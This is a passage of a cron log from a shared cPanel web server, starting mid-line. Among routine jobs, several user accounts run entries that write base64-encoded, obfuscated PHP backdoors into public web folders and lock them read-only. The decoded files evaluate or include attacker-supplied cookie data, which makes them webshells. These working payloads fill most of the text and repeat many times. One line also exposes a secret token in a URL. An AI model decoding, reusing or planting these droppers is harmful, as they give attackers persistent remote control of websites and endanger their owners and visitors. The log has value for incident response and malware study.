kgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:45:02 medusa CROND[31304]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 13:45:02 medusa CROND[31307]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:45:02 medusa CROND[31308]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:45:02 medusa CROND[31309]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:45:02 medusa CROND[31298]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 13:45:02 medusa CROND[31322]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 13:45:02 medusa CROND[31327]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:46:01 medusa CROND[22159]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 13:46:01 medusa CROND[22272]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:46:01 medusa CROND[22274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:46:01 medusa CROND[22275]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:46:01 medusa CROND[22276]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:46:01 medusa CROND[22277]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:46:01 medusa CROND[22273]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 13:46:01 medusa CROND[22279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:46:01 medusa CROND[22278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:46:01 medusa CROND[22282]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:46:01 medusa CROND[22283]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:46:01 medusa CROND[22290]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:46:01 medusa CROND[22292]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:46:01 medusa CROND[22293]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:46:01 medusa CROND[22294]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 13:47:02 medusa CROND[14219]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 13:47:02 medusa CROND[14238]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:47:02 medusa CROND[14239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:47:02 medusa CROND[14240]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:47:02 medusa CROND[14241]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:47:02 medusa CROND[14243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:47:02 medusa CROND[14242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:47:02 medusa CROND[14244]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:47:02 medusa CROND[14247]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:47:02 medusa CROND[14245]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:47:02 medusa CROND[14253]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 13:47:02 medusa CROND[14252]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
